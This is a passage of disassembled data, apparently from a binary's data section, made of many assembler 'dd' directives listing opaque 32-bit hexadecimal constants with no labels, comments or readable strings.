81086BBAh, 0E0607Fh, 0E5A725B5h, 89A3833Bh, 0E0A06238h dd 125A8510h, 0FC9A02D4h, 220A48B8h, 8B9DEC48h, 201F4492h dd 7580C0B2h, 2CF09BBh, 8F57003Bh, 5B245D4Bh, 0E100F1B6h dd 37CBF98Dh, 1C4A3h, 0D45103Fh, 52FFB580h, 53937A1Dh dd 210920E6h, 26948099h, 770AD72Dh, 0FD4800B0h, 0D445DEFFh dd 0B8B06F17h, 47D00514h, 61890080h, 75EDCB25h, 0A3F90028h dd 0BC0BC624h, 86006CD4h, 64E709FDh, 257E634Dh, 5B588123h dd 0E1CDBA01h, 18EEC093h, 8006E06Ch, 58FF5E02h, 0C6D1B600h dd 1E5F79F5h, 0B07109ACh, 0F8807521h, 0BB4EB7D6h, 0CF365C09h dd 611C004Fh, 5A7FA8h, 32D31181h, 9DB52321h, 8CCFE107h dd 51B0BFF6h, 1E4286h, 916BED37h, 0B49D0D29h, 63CA3A00h dd 0EB2F4D4Ah, 3B7300D8h, 493412B5h, 780EF902h, 605981A0h dd 3CF8CF11h, 0ADE20331h, 2118B265h, 9D146FE8h, 0DFB9080Ch dd 31220F5h, 163DE23Eh, 0D1E0E344h, 2002C3E9h, 0FFABEA26h dd 0EBB88185h, 7FC0432Eh, 0A84492ACh, 13D2173Ch, 8088AE5Dh dd 8CE7C7DCh, 0A99FAA00h, 552123FAh, 0A4AE00E1h, 7D0961F0h dd 1A099B2Eh, 15C8F7Fh, 0C65A3C4h, 0B3C60h, 36A9C144h dd 8A79ED5Eh, 68D09A30h, 109E39Bh, 34499EFh, 0F09CDCA1h dd 1D0B20CCh, 603B8DBEh, 75594BD0h, 803D4C6Eh, 57F9F2C1h dd 43E7E4ABh, 815ACBE4h, 0B3B77800h, 7772E5h, 86A762BCh dd 55ABEBA8h, 6EE61D07h, 0AC7104FFh, 9FCCFA30h, 30F471EEh dd 3E2103A5h, 0CD00DC80h, 95892D87h, 7266FA2h, 15BB079h dd 0E64DF036h, 0AD0711D1h, 81457B09h, 0A4B5EF70h, 89D7005Eh dd 0FEC1F258h, 4900E860h, 0CEE9A06h, 64F3D8h, 0B7F224Ah dd 91FA674Eh, 0FB99CE26h, 0E7DC2000h, 1E4A6005h, 18491Eh dd 0A316662Fh, 7700896Dh, 0EFE31B5Eh, 0FAFFE5E2h, 0C30D07C2h dd 1DD1CAFh, 0E0FC4742h, 700B481h, 0C04FBD9Ch, 58D144h dd 196E035Ch, 497CB801h, 7D69F8C0h, 0B0BA8412h, 6BB000B6h dd 78772A79h, 0E80053BCh, 6D03C00Fh, 6FBF8Eh, 0BD3666F3h dd 9149840Ch, 2CD83200h, 3C94EFA4h, 15AD00B4h, 0F44E18B8h dd 4300392Eh, 32EE019Bh, 0F91DB5h, 0BA6F75F2h, 7664A0A7h dd 0F88B2102h, 8E35BCDEh, 3E57408Ch, 1F5A3C18h, 80A3849Fh dd 5C141015h, 4200E978h, 5968EDE5h, 72060Ch, 5484B06Eh dd 0DF1BC4EEh, 9BA97100h, 7D280AA6h, 88EE65h, 0BA91968Fh dd 264D1398h, 7FA2B603h, 0B8D452A5h, 0FFACD0h, 18F9C156h dd 0F016B182h, 0E1F29107h, 92F034B5h, 73DE4168h, 48DD3BB2h dd 223E3887h, 0B356D07Eh, 0F3794767h, 60AB2739h, 4FA63A29h dd 1B404070h, 560006EEh, 78BCC3E7h, 6DD53Eh, 2E25F95Eh dd 17755980h, 0C009CEEh, 0FB050D7Eh, 37066FDh, 0D9FF4806h dd 0C3A0F74Ah, 2607974Bh, 0F2C9F60h, 8B98BD31h, 399523E0h dd 0F5801376h, 435961A4h, 0F9160D51h, 0DA00B2FEh, 6B6F5A73h dd 0C6B300DBh, 0AB18AD54h, 0D633324Ah, 906A58E4h, 6353AFh dd 379DE093h, 7323DF28h, 3431B314h, 0F92200D0h, 0AE818964h dd 4821070Ah, 0BFBCAD25h, 0DBDF801Dh, 7DA8B123h, 75E7B200h dd 0F1D941ACh, 4511FD7h, 9C74C519h, 0F982AE8Bh, 8DF4A010h dd 97D0360h, 0DC0DE052h, 5B349001h, 1953C44Ah, 32D29600h dd 6DAB1CBCh, 4DB23155h, 4005E391h, 0ED815F18h, 0B17D7A1Dh dd 0E0AC5030h, 44408613h, 45970EA9h, 9380E14Dh, 0CB2AA5EDh dd 0BCF6270Eh, 19801E9Bh, 0B2ACA721h, 6FD00032h, 0B369E086h dd 0D95F4865h, 15003EBCh, 60E3F97Eh, 3648F68Eh, 1B9C07A4h dd 0E8C54301h, 2C5FC1ABh, 60F2E906h, 9713D13Ch, 40CF7Bh dd 0D0709ED5h, 131C078h, 11DB5E7Dh, 4DBE58A8h, 0EEB95320h dd 6C2CE8B1h, 0D8205855h, 0CD6F4A00h, 58F854D3h, 42ED0126h dd 6DCB8702h, 0BE5E80C8h, 0DC1BFDF6h, 0CC680025h, 53D7114Dh dd 0EF00418Ch, 0DE3E6B2Fh, 0A1233Ah, 92852DA3h, 0B870954Ah dd 0CF008E71h, 0D6E49CB0h, 1F70207h, 54AE9E8h, 0F048C316h dd 8807BCDBh, 0BF7D1F31h, 91D8CE80h, 0D3E4F79Dh, 27730097h dd 821ED44Dh, 0DB003C89h, 773E0854h, 0F8CDB684h, 2CC0F57h dd 2240D146h, 5EB4BCFh, 0E6053478h, 0DB6C37F2h, 3EB88840h dd 67D790Dh, 55D2E8F1h, 0D0620839h, 7506D921h, 0A50EB200h dd 7200FF4Bh, 0E521D72Fh, 3EA4851Fh, 303B5459h, 187FC83Ah dd 68D28EEBh, 24866DB6h dd 3A240D09h, 1E803452h, 0B88C0D08h, 0CFED3100h, 26B714C7h dd 6F7A4C91h, 0D40C993Fh, 0A870C60Bh, 2700EA48h, 1280FCEEh dd 140040D0h, 4E1BB8F6h, 4D961106h, 37082155h, 0A020CD40h dd 1342B30Eh, 74BC191Bh, 0D8811D58h, 802406D9h, 931C11FEh dd 6D411021h, 72DC318Ah, 21C00998h, 0FEFE9433h, 67702C0Fh dd 75AEB2Eh, 74B0AD08h, 3E02B029h, 243D9968h, 0EB8CE35h dd 18DBC0BFh, 3077023h, 6DF31742h, 0FF1930A2h, 173D3810h dd 0E2EA7E00h, 2098C695h, 0E4D40AA9h, 8180CCCAh, 721A9125h dd 7061B06Fh, 0F16E54DCh, 6CF07C31h, 68F300F5h, 755D1DF1h dd 7001939h, 0AE65CA4Bh, 36FC6Dh, 6021F50Dh, 46F10FD7h dd 0E7FFB100h, 0DB1A30CFh, 58ED1E88h, 8E440F5Ah, 13FA5340h dd 9300C446h, 0D260FFADh, 509491h, 4C5B9FBDh, 7F84FC22h dd 480A629h, 43B7D055h, 0D2EB6200h, 0C7013090h, 0F53E001Ah dd 0EA9E5A24h, 640735F1h, 611ED271h, 0C375C783h, 0F9D6A0EFh dd 927D3EEBh, 0DED0ED1Fh, 8CAB4325h, 91F05464h, 0CD1DCC38h dd 0AE3E3022h, 0B1017B97h, 1A4F3E8Eh, 0D2F061EDh, 0A64B0F81h dd 0A3002077h, 0EA5093E0h, 5D14781Eh, 0BAF43340h, 60EF2BFAh dd 0C818B892h, 0FC7279A3h, 0A12A500h, 2EF8F7ABh, 48150014h dd 3477F37h, 0A8671619h, 90D84129h, 804B8429h, 4AA99E44h dd 370828ADh, 145F942Fh, 21BC9511h, 2AE30869h, 83C7394h dd 3E785E06h, 44C11450h, 42848721h, 0F07108CAh, 23D70809h dd 8C829B88h, 0DD795483h, 9029EE64h, 7D10AF22h, 0D95440F5h dd 0C308FB84h, 21B44284h, 1B720805h, 19505794h, 2129ED3Fh dd 0C09E2517h, 118D8C43h, 655B1D00h, 862E7588h, 0A9E7000Fh dd 997E8958h, 0BD008DA8h, 9608C351h, 34B3D8h, 0E9E3B179h dd 2954352Dh, 26C5DC00h, 4604349h, 86B4008Ah, 28B9499h dd 0AF009E81h, 886A1FA7h, 0F3A9DFh, 0CDA684ABh, 56F40EC4h dd 2B34920Eh, 256E605Ch, 79F9B50h, 0FFA2496Fh, 4260FE11h dd 0F0430ED3h, 732A0A00h, 41861C3Eh, 0E5BD00A8h, 590B57Ah dd 5601E83Fh, 8FDA71F4h, 31FCD347h, 2F7B1263h, 4F9447BCh dd 6580EF95h, 45594E55h, 0F15C7100h, 5D7741B2h, 8AE20097h dd 0C4D3059Dh, 1139574Dh, 0FD8480F2h, 0C13ACD3Bh, 33ED0077h dd 4A139945h, 1700FB34h, 736DA392h, 30613507h, 8770A98Ah dd 0A000FB8h, 0F0698523h, 7CE6C524h, 71B78DAh, 0EBBA064Dh dd 832137D3h, 1EB8D255h, 0E53C6E36h, 4A7C0BB5h, 0AB4A8019h dd 694360h, 3D3C056Bh, 1D5CB756h, 991FF3FAh, 21607E8h dd 19B02C00h, 0E99D6Eh, 0B6C439B2h, 316D4C03h, 25F99F03h dd 0B8B78144h, 28A23D34h, 8C6814h, 0CA114795h, 5788C1BAh dd 3D419300h, 7AC636D6h, 45440058h, 17F9D906h, 3700F810h dd 24C48FA0h, 1501E93h, 0D983A588h, 0E0C58A0Dh, 0EF01F8ECh dd 16894758h, 5ECDFC5Bh, 0AEEB8480h, 9686345Ah, 0AFD92200h dd 6A68623Eh, 0EC9D05BAh, 99827h, 81041D9Dh, 4E000EC6h dd 4918BC0Ah, 71349Bh, 85489A4Dh, 9D0BA5C7h, 37BC724Ah dd 4BBE820Bh, 0FF00D07Ch, 90D355F9h, 528102CBh, 136B797h dd 200461E0h, 6FA59200h, 0AB677F8Eh, 339F0066h, 711B88A0h dd 0D5021030h, 0E9FB5DB2h, 1B468DCh, 0B84C00EAh, 39CF70DEh dd 0F3540F40h, 6F787ED8h, 7CCB5100h, 5C7DC5B6h, 5E4008Bh dd 0FB06D12Bh, 700080Dh, 0EA0F37CFh, 0E026C4h, 571DD9A9h dd 7BFF7A66h, 6A17B91Dh, 5F0A007Ch, 77DC6E33h, 7D47929h dd 45AD1BCEh, 0DB8700AEh, 0DEEBC43h, 0F7114900h, 390A931Ah dd 0A013005Eh, 154EF263h, 92000B54h, 3E291D9Dh, 3ED0A8DEh dd 100AE8Ch, 3A87AC5Dh, 5F28D21Ch, 4C00A078h, 99D819BFh dd 3826E1Ah, 0EC50A3Bh, 0CEB036EAh, 70BD348Ah, 0F7E20059h dd 0E7391D45h, 16F2E0F1h, 0F3918116h, 923CF0h, 66AE9E11h dd 0C10F79D3h, 73E8D61Eh, 0F767D4C0h, 0FCD2A5h, 0ED81A8Ch dd 505F0407h, 4E014CE8h, 0C901F70Fh, 2BDC38BFh, 87D20039h dd 0F566E0BCh, 77C21D3h, 26976200h, 0BE1C4072h, 69900013h dd 6E65BA3Fh, 0CB013D81h, 0AAB0BC9h, 9C4098D3h, 33AA61h dd 5C355713h, 0CF31AC74h, 0C900267Ch, 47FFEA8Fh, 1B03E8h dd 0C46F187Fh, 757B2FC5h, 5DA0EF00h, 0A7ED7B5h, 96FEBBh dd 8D396185h, 28D8AB6Dh, 60106807h, 0AD277F69h, 0FB3A04h dd 2B0CCBFCh, 0BB00D074h, 50D36390h, 1E35EC0h, 9E930610h dd 0EC1DD765h, 391C795Dh, 0F7C0A2B2h, 0D377C61Ch, 0A0660010h dd 8028E309h, 2402F661h, 0C1DD2FE9h, 0BCC6C0AFh, 3E4000FDh dd 0F1428C9Fh, 0F50096E7h, 78B19572h, 0E31824h, 15C740B5h dd 0C0D1E66Ch, 0DA84C500h, 0F4018D92h, 0A6530F4Dh, 0D0617CD2h dd 0E4DD41FAh, 973F5544h, 0B040F46h, 0F22800EAh, 0C0B01C47h dd 0FD768CE0h, 0FF0015B4h, 709D9F48h, 9019A8E1h, 83B10061h dd 0AAA9C871h, 0CE00ECF6h, 0EA7DF498h, 0E37418h, 69F08476h dd 3873D662h, 930A400h, 9C03079Ah, 0B23702FCh, 3525C7AAh dd 0F55D2EC0h, 5F08F103h, 0E842CCF7h, 0EEB1152Ah, 1A710053h dd 2FBBFD92h, 3500EF7Ah, 0B691731Fh, 0C71E49h, 4ACB9A13h dd 0D2949633h, 638D3E00h, 0FF877A57h, 3227010Eh, 0B76D9BC1h dd 0E25B3098h, 0FB10E700h, 4E2583CEh, 514800B3h, 3E0C81E5h dd 0C600601Dh, 85C88E2Fh, 83A1D7h, 0AF6D94B0h, 4737E4BDh dd 0D3714C00h, 20E95CC3h, 9EE300E6h, 0E8F3D264h, 0F474809Bh dd 89635970h, 90564008h, 1CF85725h, 0C02F28BDh, 1F6ECB4Bh dd 0BF00E22Dh, 37315393h, 7E596891h, 1BEB00ABh, 679A36FAh dd 1003DBEh, 72B03C1Eh, 0BA637Bh, 1FFE19B6h, 28BE9736h dd 39F3E003h, 0D3D87F3Dh, 8417D0A8h, 752F06B1h, 11BAB4B6h dd 8F742600h, 0E940ED67h, 0B3C3045Fh, 87FD6F1Ah, 833B2068h dd 0A100F912h, 0DEF41870h, 1C470BBFh, 406F5260h, 944A896Bh dd 0C63A0C45h, 18B1A451h, 0AAA3A406h, 403702AAh, 4EA5B555h dd 5EC8E843h, 4DFCBB57h, 6963DC00h, 79A0C8C1h, 33C40042h dd 0CC30D62Eh, 0BB775EC5h, 8990413Ah, 7805B18h, 0F344418h dd 34D26C20h, 0A0A35030h, 0FDAD0Eh, 4C2B85F0h, 0EEB4268Dh dd 0CEEAB000h, 16DBDDFCh, 0F31800EDh, 5E897644h, 7F00F812h dd 0F12A45BBh, 3CD82E57h, 528F6ACBh, 69E1B917h, 0CC9577A3h dd 8650E3FCh, 2E0048F6h, 7A890E7Fh, 3A8CA45Eh, 220085E4h dd 3155DBBDh, 65004701h, 0EB0BCFCh, 8FDD9h, 0D13C93EBh dd 0ABD88AFh, 46EF4E0Fh, 0C4F50059h, 9C29C1h, 4AE60C3Ah dd 0EE1E17A6h, 7AC0238h, 91A08912h, 47B007Eh, 1EF1AFB3h dd 71D3433h, 10311Ah, 5D0750Eh, 65230F00h, 5098B28Bh, 11336019h dd 48539BB3h, 59718901h, 0EDDDC4DAh, 99CABCC8h, 2FB80E5Ch dd 0AAF09640h, 0B313A4B9h, 63102DBDh, 0C54B07B0h, 0D25032F1h dd 9F76C7h, 11773CE9h, 0B603A6D5h, 1B2F438h, 0B998919Ah dd 0D671BB1Ah, 76C97D8h, 3B5CF18h, 0AF38E795h, 8DE87C00h dd 0CBA09DB7h, 68732086h, 10CF9AF8h, 0B19F1C6Bh, 0F2191224h dd 0AF40D5B0h, 26E0C2Dh, 983BEFBFh, 0C889CB9Ch, 0F8078AD7h dd 0B043401Ch, 88C91E21h, 1ADC59Ch, 0D1181915h, 845B42BAh dd 5F552EA9h, 49B791C0h, 0CC7D38h, 0B1B9DC63h, 5CCA5E47h dd 12DF641Fh, 0B6C86147h, 0A4B76F30h, 17B4A054h, 0EC57E681h dd 48D506F4h dd 0A8D37D55h, 9030F100h, 0AE85394Eh, 0EC7097ACh, 797A50BFh dd 7D1E26BAh, 24B020F6h, 0D502F0h, 0E817FFD2h, 1804DECAh dd 16BFB56h, 0A8540080h, 83551C67h, 8BA34053h, 0D07E2FCFh dd 5517239h, 0A0D7C8B3h, 0A7ADD840h, 6A335Ch, 0FEFCB12h dd 826658FBh, 1A08A800h, 354AD489h, 0CBD044ABh, 0D5680BFh dd 0B71E1114h, 300EEB07h, 5FAF0CC7h, 8170833Eh, 0A2C57EA4h dd 4AD44CC6h, 0D169001Bh, 0B5B390D6h, 8439082Dh, 0EC6A00BAh dd 9BD3D870h, 0C8301BBh, 0CB8653E9h, 27AD70E7h, 1300C6E0h dd 0FCC08EFEh, 3A441BB8h, 300037F1h, 0BB38DE40h, 51003FC7h dd 0FF2EF465h, 1FC6B8A6h, 18C51101h, 75BEF949h, 0F6EE921Ch dd 955AAA40h, 9717ECEh, 87E7AE5Eh, 60D3F307h, 5D69DB06h dd 9D349A00h, 672C0940h, 4EA3317Eh, 0F0777D10h, 0E10EF517h dd 407564E8h, 0F10F1665h, 0E4C4007Eh, 0CD55CE41h, 671E7434h dd 8640201Fh, 436BAA95h, 0F83800A8h, 1D0499E2h, 200013Ah dd 0CEC7BE2Ch, 48283ECDh, 5007BC88h, 20CB9F67h, 0F9624FD7h dd 263348h, 0C16C4428h, 1083BEh, 61EEAA31h, 6071204Ch dd 0D7BC320Eh, 0A5A100CDh, 1C53A2Eh, 559DBE74h, 709144D6h dd 77000558h, 11DCB759h, 1182380h, 0AD474D4Eh, 0E8B3579Fh dd 0AE00C8BCh, 37D57FE4h, 7B3E93h, 7E2ECA5Dh, 9983E875h dd 0DC73AA1Fh, 0B82C17C1h, 0BE8601Ch, 0FF1D000Eh, 0D2D63D55h dd 0A5A0CD45h, 0CF09CB5Dh, 814F32B1h, 0D3E8B2DCh, 744C1460h dd 8B8E14E2h, 7109B038h, 34818673h, 0E4551F02h, 23008F15h dd 92275C5Bh, 0BFB0E4h, 7BEE76F1h, 9B8A0F8Ch, 80FC0700h dd 0D0A0258Dh, 0CBE703A6h, 0D639E1B2h, 81031B80h, 0CCFB9D00h dd 56DBD27Bh, 0BFDD00BDh, 0FD31B634h, 0C4008775h, 23F8C1B7h dd 51F343h, 616F290Ch, 0A348DA91h, 3715DB00h, 42853A33h dd 246A78EFh, 9BC06EEh, 1100B3F9h, 5937651Bh, 0A92C9300h dd 2A81FEABh, 24393E06h, 0C605700h, 0F094B6CDh, 9D8A3103h dd 0EBCC8744h, 326FF8A5h, 0A95D16E7h, 0FC3E09AEh, 0A3DF0800h dd 0D809CBA2h, 2D15717h, 0E0EC3AC4h, 4CD4C3BAh, 33DC815h dd 81C98B01h, 20A5187Bh, 80995224h, 8016E78Bh, 0C9135A78h dd 3B140B5h, 0E83D3401h, 4456EB48h, 0AAC3F4h, 0E305ED66h dd 0B7A39B47h, 3F1D4C00h, 6DBEEE21h, 936A018Fh, 0DEACF6D1h dd 3085D424h, 0CB822300h, 206EB6FAh, 0EDB30050h, 9CCF0257h dd 42308F61h, 4001B899h, 0DED80F29h, 0A00BE4B0h, 0BCA91800h dd 7D59ED0Dh, 1F8D00D0h, 56804725h, 0E790A6h, 71AFD7C5h dd 0F0441E07h, 0C536F0Eh, 933B20C4h, 14B03F8h, 0E4F2E29h dd 0D0A827DBh, 610E3CE4h, 60AB1876h, 4633525Dh, 0B03A0017h dd 7B954FAAh, 9EA0CB24h, 9426D601h, 0AD83A493h, 0F84DB8B2h dd 5432F6h, 0CBCA72Eh, 8F7AED38h, 0A1B55B00h, 6A9F26AAh dd 8A650190h, 36B96DE4h, 5C840DAh, 0C00F4840h, 27A2BB46h dd 0BD52068Ch, 80D08968h, 58C8C69Ah, 674A00DEh, 0E7BCE48Bh dd 791F7822h, 47402DAFh, 0C73746B0h, 8A4E2430h, 0B2E3008Eh dd 6ED0BB9Ah, 0A117C306h, 0C0C1B4h, 1612A57h, 8BAF4226h dd 0A07227Ah, 77D6721Ah, 80D354h, 0EA5CAE5h, 87920BC5h dd 0F04FDF86h, 38BD3A18h, 7109F440h, 53AE003Ch, 40AB6F39h dd 0F0029508h, 6C0C3F96h, 6827408Ch, 6458003Ah, 512F02C9h dd 4128099Fh, 5200A039h, 318CCF23h, 77FBB219h, 70DC4B49h dd 6498DD7Ch, 0F8E0B200h, 5E91C976h, 117A05F4h, 0C0B3F007h dd 78621CDCh, 7E2DBA03h, 87581D39h, 1B424EB0h, 0FCEA245Dh dd 90DD87C0h, 0B60250EDh, 0D318757Dh, 5BD02365h, 12B055h dd 7FB93D42h, 0A2227A35h, 3EC080B0h, 2A775533h, 8A83003Bh dd 7CA88F1Ch, 0E18611Eh, 0D261F894h, 40E10633h, 0C02DA52Bh dd 1C7B5805h, 9C00E252h, 7C5E37E3h, 13F7265Fh, 0B8E10051h dd 9E93C03Bh, 98E4CB24h, 0A9C99601h, 9DC9DCF1h, 0AC4024E5h dd 1DE0D77h, 591276E7h, 8005B1EEh, 94542318h, 61C6D2B4h dd 0B5F59008h, 0DC2DD081h, 0B2016800h, 0D8129D28h, 65AC00D4h dd 368E5AFEh, 7E4CEE33h, 916716AFh, 11D92700h, 0FDD7EFh dd 4ACCEA59h, 4637A9BDh, 70D1CE00h, 31D8E1B9h, 97150F1Bh dd 0ADE0DD84h, 381DFAC4h, 9AE79200h, 9D8911C3h, 34821DCDh dd 486A8701h, 6D9CF08Dh, 38DC99E5h, 128BB0C0h, 3830EFh dd 71E99755h, 2BDA19D6h, 6E44E200h, 0E7806013h, 505600E0h dd 41BC1514h, 0F3777730h, 0E7FFC00h, 0B99DCD73h, 0B55200AEh dd 5F3AE670h, 0F305AD25h, 0CD92E088h, 229E55C0h, 0D0440323h dd 0E1C66FD3h, 0C2E595D0h, 0DD877E03h, 0B0746861h, 7046200Ch dd 18810067h, 0D4FED2BAh, 5700C4ECh, 0B40BBC06h, 0E7E2D5h dd 0F5D08A49h, 934F6346h, 1A51F400h, 0B6DAB4C5h, 0BD9902AAh dd 79C4258Fh, 0A7119C81h, 0EFCDC44Ch, 392E77E2h, 7A18FA43h dd 3885280h, 0A9D6D8FBh, 4B9067EDh, 0A3FE3062h, 6C4080EBh dd 0EE572B55h, 83AF0337h, 0B240DA7Bh, 0FB81BC04h, 56C087F0h dd 0F2B4519Dh, 9C4D300Ch, 76530FA1h, 1C4F1900h, 0D55AF645h dd 4DD400EBh, 837BC7FAh, 85013EBFh, 195EF005h, 38BBC104h dd 722C1E00h, 3FDDF887h, 0F77E4500h, 25FAB5C5h, 0EC98C94Dh dd 22280900h, 8301F199h, 0B8766682h, 782D6D47h, 8D77C500h dd 0AA601497h, 3C79D109h, 0C804079Ch, 0CBE22100h, 12D7CA0h dd 0D7C74609h, 84AA2AA7h, 4A4B3F1Ch, 241CD0B0h, 2470D604h dd 32C30FDCh, 0A90388A9h, 400007F8h, 87E8ACBBh, 1B0DB0Dh dd 89CBFBD8h, 3476CE74h, 2E59A4E0h, 5058002Ch, 0DA797029h dd 2BC90AEh, 0F51E1009h, 406B6DC1h, 20113381h, 0F33E4F33h dd 0F40F800Ah, 0E3768F45h, 30431C6Eh, 46E1008Bh, 0A279AE9Dh dd 4CCABD00h, 881D57D4h, 70320469h, 0A0BCE264h, 0B53DA5A8h dd 1760E028h, 5440BA6h, 0F78E3E63h, 38DC90FDh, 0C8A07D2Ah dd 3C01FF95h, 0E5FE41F9h, 30D292h, 0A8A501B2h, 4A649918h dd 2690647Fh, 702E701h, 4E345EDh, 8823B88Eh, 0E64C2400h dd 1F61DACBh, 3B081878h, 1D9328D8h, 40907365h, 0D3052AFAh dd 0B0B2B641h, 0AE8A2D2Ch, 9A878424h, 0B2050E1h, 0F62E1DEBh dd 67C43C04h, 3140DF00h, 6CEC01BEh, 0F0904A00h, 0CD171F57h dd 81880083h, 0FBD908E3h, 92C0A53h, 5C3D8111h, 0DDAC0070h dd 4E29D2D7h, 393F0BEAh, 9C0054CCh, 8713EC6Ch, 446E1E00h dd 1068C2AAh, 97F0EAh, 720EB5FEh, 17035EE2h, 0C6AD100h dd 0FA858C80h, 4E99039Dh, 0FE717A7Fh, 0D3939780h, 69562801h dd 3E18FAC2h, 2C99D830h, 835CC8EEh, 82789AA4h, 65A6CF90h dd 94E6D770h, 0CE25CA0Fh, 5114600Ah, 799F6950h, 0EDF300BEh dd 0FBDAD7C8h, 1600FFC4h, 84E32D39h, 1C3A1EBh, 7F429607h dd 0F0C06FF8h, 46005565h, 8978A5C2h, 0E8CCD837h, 269807A1h dd 81323EE2h, 20DEADDDh, 21003C54h, 0EF052410h, 8D2CF8h dd 91B9420h, 738E16F5h, 19007BF0h, 0F19C06FAh, 0F6D0489h dd 13860B5Fh, 0C01F754Eh, 859907F2h, 0B9014036h, 6C030546h dd 9068A7CFh, 710E9AC0h, 3218BC9Ch, 0E406D52Ah, 1C072D9h dd 67732375h, 0F43551F7h, 1802224Fh, 6E939006h, 854760A4h dd 1CE5F803h, 666F703Bh, 222C000Ch, 4C2D54B8h, 747D891Dh dd 9F7E6401h, 0F4C4BB30h, 6940002h, 7D116976h, 7B2ED3F7h dd 0E4848098h, 0B0C01EB4h dd 86FD84h, 9CAAF235h, 89A67AC9h, 16013D00h, 0A5EBF854h dd 5FF40008h, 0FE45BAFh, 2F39C13Fh, 0FEBC28h, 0CE71F014h dd 379C636h, 0F12D5759h, 1105726Dh, 0BCF22C4Eh, 8321F880h dd 1B378C3h, 0F3552597h, 0F0BD6003h, 2E0379DCh, 48021392h dd 0C142D229h, 6CF5225Dh, 2E51D040h, 63040779h, 128573D7h dd 0CB61D32Bh, 9C2C24A5h, 4FD57F00h, 6A1E7E55h, 3D27005Bh dd 0EDBAE951h, 102137Ah, 8ADAF1B3h, 80A562C5h, 8C9B679Dh dd 2CFB000Ch, 55820686h, 27D226Ah, 8FF9F200h, 1CB1AD94h dd 37F60098h, 19561218h, 14309603h, 435F487Bh, 8E5E0023h dd 1C6C24B0h, 0F007159h, 463BD4F0h, 94E8B47Dh, 65780110h dd 0F44EDAD1h, 0DE7CEBA4h, 52FD0500h, 0DCEDA231h, 0FA2C0FCAh dd 238FB587h, 2AAE031Dh, 0AB984247h, 0BF00B1D8h, 143552A1h dd 48AFF45Bh, 38003C2Bh, 22E702BEh, 0A90049CDh, 8672D5B8h dd 0B87C7148h, 6B8C02E5h, 172108B5h, 0FB5BC040h, 27AA0200h dd 0F2B626F7h, 0D6AC0EE6h, 7BA055C4h, 2391ED51h, 3AFBBF03h dd 0A721EAh, 753D9B38h, 0B598A4EFh, 0F07067F0h, 68FEE607h dd 87317EBEh, 64202B70h, 0CBA90E73h, 0AF01A631h, 0DC566B3Eh dd 89017917h, 78E410ECh, 0F8284AFCh, 0A4B2B800h, 68B355EAh dd 7C038AEAh, 3B982F0Bh, 0B922E883h, 2A2107FFh, 0F49ECB39h dd 68A4C0BBh, 4D205F89h, 0DF130028h, 822253AFh, 45000AD6h dd 0E70F98C3h, 0C36ED81Fh, 0DB04F734h, 6B011DBh, 790B9D18h dd 0E1F8F46h, 0DA94010h, 123A037h, 0CF50245Bh, 20D6D3D1h dd 3E003A29h, 97AEE6B0h, 76FE330h, 137245C2h, 9306CF39h dd 100310C5h, 2EAEB338h, 0E6C0ECFFh, 16FDCDDDh, 0E3F2DDCh dd 2FE5EA2Ah, 0B65C90E4h, 8E19314Fh, 2B10A564h, 28AF43F0h dd 63903CD8h, 0CB7938C2h, 5EFFDAD8h, 869CF000h, 0DD671F33h dd 0D0995080h, 0F20E4FCh, 1123347Ch, 0E29272A0h, 470BE90Ch dd 7964Dh, 6AA426D4h, 0DB3500DAh, 2BC48E65h, 0D14CFED4h dd 3C5839C4h, 0A6C700CEh, 5646D053h, 0A7570329h, 43DCA1F7h dd 2DE1100h, 2A458FA2h, 0F0814834h, 55A61C78h, 5B00FF39h dd 0A06E26A3h, 2700187Bh, 0CC1CBD89h, 6059CEEDh, 0D973D838h dd 670F10DBh, 8CD01D93h, 73D3C89Fh, 0F2CA2FA5h, 3407CD78h dd 76A16FC6h, 0B24F6090h, 28360005h, 0CDC7D8D1h, 0CA004226h dd 0F02137D5h, 243C577h, 8A38C914h, 0FF0FF4h, 0F2C7689Fh dd 0AA2C004Bh, 7E95DAEBh, 0ED018BABh, 0A85A3150h, 90F82E8Fh dd 24A007E4h, 80533D62h, 344C9BE6h, 98BDF801h, 2E7EB65Ch dd 4A5FC080h, 0C9C4E839h, 5D5AB500h, 0C0D43548h, 1EA748CBh dd 0D5324C00h, 223D5FA3h, 0BC484100h, 8BA66E09h, 0CE920173h dd 0A517F3F0h, 0D4D6E052h, 0A1095F7Bh, 678323A3h, 0A0CE0048h dd 0E576E910h, 84E74A16h, 61DAB442h, 2688CCC7h, 9C770Bh dd 0C57B6CF3h, 0BE13D567h, 4E00BC12h, 0C933404h, 0AE550916h dd 0EF0CD7FAh, 600A23Ch, 0FD2353CAh, 0E0288Ah, 9B7E1581h dd 0DC4CB4E3h, 6E9A0F07h, 59B0C84Ah, 4C6F3A9h, 5C7856D8h dd 1BC1C02Eh, 22026EBDh, 716058E3h, 0E2B04119h, 93E14680h dd 83172DF3h, 9DA49F00h, 6D210206h, 0F1800081h, 861E79Eh dd 7501B33Fh, 0E034637Bh, 118023F3h, 5EE32BA0h, 492461B9h dd 0FD0BB006h, 0F17202EDh, 0A33460F6h, 0E8CA858h, 66D53EB5h dd 5140D409h, 0B67D4040h, 31168500h, 0B5595A05h, 0CEDB00B8h dd 0A48B6B65h, 0D104B4D3h, 0C1487815h, 0B0641CC3h, 0D6E023h dd 8E75971Dh, 184328A0h, 0DD226500h, 79D2C76Ah, 0B0E0029h dd 0C0F49815h, 8A7D96F1h, 0BEFEDE00h, 0D55C6A77h, 8BE8124Dh dd 0B8A0062h, 0C5712234h, 5F6B271Ch, 642F4DDh, 40256235h dd 0A8D17759h, 0D9C2A0h, 0D370473Dh, 0FF4E74CDh, 0E7E04101h dd 2C4AC662h, 707E16D8h, 5F1301C7h, 80A21593h, 432EC808h dd 0ADD11C0h, 14997983h, 0A001E941h, 8AC09D1Dh, 819008CBh dd 0EE353238h, 5D11800Fh, 82999388h, 0ADEA0159h, 5E6C44C2h dd 0BC3C20F7h, 328DCA00h, 8EA0CD0Dh, 1710B0D0h, 0EECFB03Ah dd 1B4C6501h, 0F834F2E4h, 0B1BB003Dh, 997BD0C2h, 0F7035F24h dd 2756FB4Dh, 0EE8F91CAh, 0F5C120h, 0E611EF73h, 3A9A61F8h dd 2C5240C0h, 12B18438h, 1AB7015h, 0B302EAD2h, 0CAEBC758h dd 990C71F0h, 486BE409h, 0D7040021h, 457E365h, 0F85DA827h dd 0E510907Bh, 917E7E6Eh, 0DBE63E7Dh, 414E1E0Eh, 588E85F8h dd 380020F2h, 0E40CF704h, 0CC2F6E0Dh, 240C844Ah, 8884C4C3h dd 374FF70h, 0B7AEAB96h, 0F80F3559h, 